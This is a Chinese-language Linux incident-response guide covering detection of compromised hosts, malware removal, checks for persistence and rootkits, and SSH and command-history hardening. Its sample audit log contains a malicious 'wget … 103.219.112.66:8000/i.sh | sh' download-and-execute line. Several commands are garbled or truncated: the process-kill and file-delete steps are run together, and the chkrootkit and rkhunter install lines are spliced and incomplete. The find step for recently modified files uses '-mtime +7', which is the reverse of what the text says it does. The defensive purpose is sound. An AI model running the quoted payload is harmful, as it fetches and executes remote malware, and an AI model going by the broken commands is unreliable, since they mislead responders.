最全Linux应急响应技巧
原⽂地址:
留存备⽤
Linux环境下处理应急响应事件往往会更加的棘⼿,因为相⽐于Windows,Linux没有像Autorun、procexp这样的应急响应利器,也没有统⼀的应急响应处理流程。所以,这篇⽂章将会对Linux环境下的应急响应流程进⾏讲解,并且提供每⼀个环节中所⽤到的shell命令,以帮助⼤家快速、系统化地处理Linux环境下的病毒。
处理Linux应急响应主要分为这4个环节:
识别现象->清除病毒->闭环兜底->系统加固
1. ⾸先从⽤户场景的主机异常现象出发,先识别出病毒的可疑现象。
2. 然后定位到具体的病毒进程以及病毒⽂件,进⾏清除。
3. 完成前2步还不够,病毒⼀般会通过⼀些⾃启动项及守护程序进⾏重复感染,所以我们要执⾏闭环兜底确保病毒不再被创建。
4. 将主机上的病毒项清除⼲净后,最后就是进⾏系统加固了,防⽌病毒从Web再次⼊侵进来。
⾛完这4个环节,才能算是⼀个应急响应流程的结束。
01
linux中netstat命令识别现象
第1个环节要求我们通过系统运⾏状态、安全设备告警,发现主机异常现象,以及确认病毒的可疑⾏为。
系统CPU是否异常
枚举进程,CPU降序排序:top
CPU占⽤率超过70%且名字⽐较可疑的进程,⼤概率就是挖矿病毒了。
是否存在可疑进程
枚举进程命令⾏:ps -aux
病毒⼀般都携带可疑的命令⾏,当你发现命令⾏中带有url等奇怪的字符串时,就要注意了,它很可能是个病毒downloader。
安全⽹关有⽆报警
从安全⽹关报警中识别出威胁是最直接,但确认主机已经感染了病毒只是第⼀步,接下来得定位,具体是哪个进程在与C&C通信。
监控与⽬标IP通信的进程:
while true; do netstat -antp | grep [ip]; done
有时安全⽹关检测到的不全是恶意IP,还有可能是个域名,这种情况下,域名对应的IP是变化的,我们不能直接⽤上述⽅法进⾏监控。我们可以先在host⽂件中添加⼀条规则,将恶意域名重定向到⼀个随机的IP地址,然后对其进⾏监控。
这样就能得到与之通信的恶意进程了。
有⽆可疑历史命令
遍历主机历史命令,查有⽆恶意命令:history
02
清除病毒
从第1个环节追溯到的进程信息,将会帮助我们定位到病毒进程&病毒⽂件,实现清除。
结束病毒进程
清除可疑进程的进程链:
ps -elf | grep [pid]kill -9 [pid]
删除病毒⽂件
定位病毒进程对应的⽂件路径:
ls -al /proc/[pid]/exerm -f [exe_path]
03
闭环兜底
检查是否存在可疑定时任务
枚举定时任务:
crontab -l
查看anacron异步定时任务:
cat /etc/anacrontab
检查是否存在可疑服务
枚举主机所有服务,查看是否有恶意服务:
service --status-all
检查系统⽂件是否被劫持
枚举系统⽂件夹的⽂件,按修改事件排序查看7天内被修改过的⽂件:
find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +7 | xargs ls -la
检查是否存在病毒守护进程
监控守护进程的⾏为:
lsof -p [pid]
strace -tt  -T -e  trace=all  -p $pid
扫描是否存在恶意驱动
枚举/扫描系统驱动:lsmod
安装chkrootkit 进⾏扫描:
wget ftp://ftp.pangeia.br/pub/seg/pac/ar zxvf d chkrootkit-0.52make sense./chkrootkit
安装rkhunter 进⾏扫描:
Wget nchc.dl.sourceforge/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.ar -zxvf rkhunter-1.4.d rkhunter-1.4.4./installer.sh --installrkhunter -c
04
系统加固
最后⼀个环节往往是⼤家⽐较容易遗忘的,Linux平台下90%的病毒是通过⽹络传播感染的,所以,你的主机之所以会感染病毒,⼤部分原因也是因为Web安全防护不够,赶紧检
查⼀下。
修改SSH弱密码
查询log主机登陆⽇志:
grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'
定位有爆破的源IP:
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
爆破⽇志的⽤户名密码:
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
SSH爆破是Linux病毒最常⽤的传播⼿段,若存在弱密码的主机很容易被其他感染主机SSH爆破成功,从⽽再次感染病毒。
添加命令审计
为历史的命令增加登录的IP地址、执⾏命令时间等信息:
[1] 保存1万条命令:
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
[2] 在/etc/profile的⽂件尾部添加如下⾏数配置信息:
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`if [ "$USER_IP" = "" ]thenUSER_IP=`hostname`fiexport HISTTIMEFORMAT="%F %T $USER_IP `whoami` "shopt -s histappendexport PROMPT_COMMAND=
[3] 让配置⽣效:
source /etc/profile
⽣成效果:
76  2019-10-28 17:05:34 113.110.229.230 wget -q -T180 -O- 103.219.112.66:8000/i.sh) | sh
打上常见Web漏洞补丁
structs2系列RCE漏洞
thinkphp5.X RCE漏洞
Redis未授权访问漏洞
Confluence RCE漏洞(CVE_2019_3396)
Drupal RCE漏洞(CVE-2018-7600)
ThinkPHP RCE漏洞(CVE-2019-9082)
结尾
Linux平台下的恶意软件威胁以僵⼫⽹络蠕⾍和挖矿病毒为主,由于Linux⼤多作为服务器暴露在公⽹,且Web应⽤的漏洞层出不穷,所以很容易被⼤范围⼊侵,如常见的病毒:DDG、systemdMiner、BillGates、watchdogs、XorDDos,在很多Linux上都有。⼤家要养成不使⽤弱密码、勤打补丁的好习惯。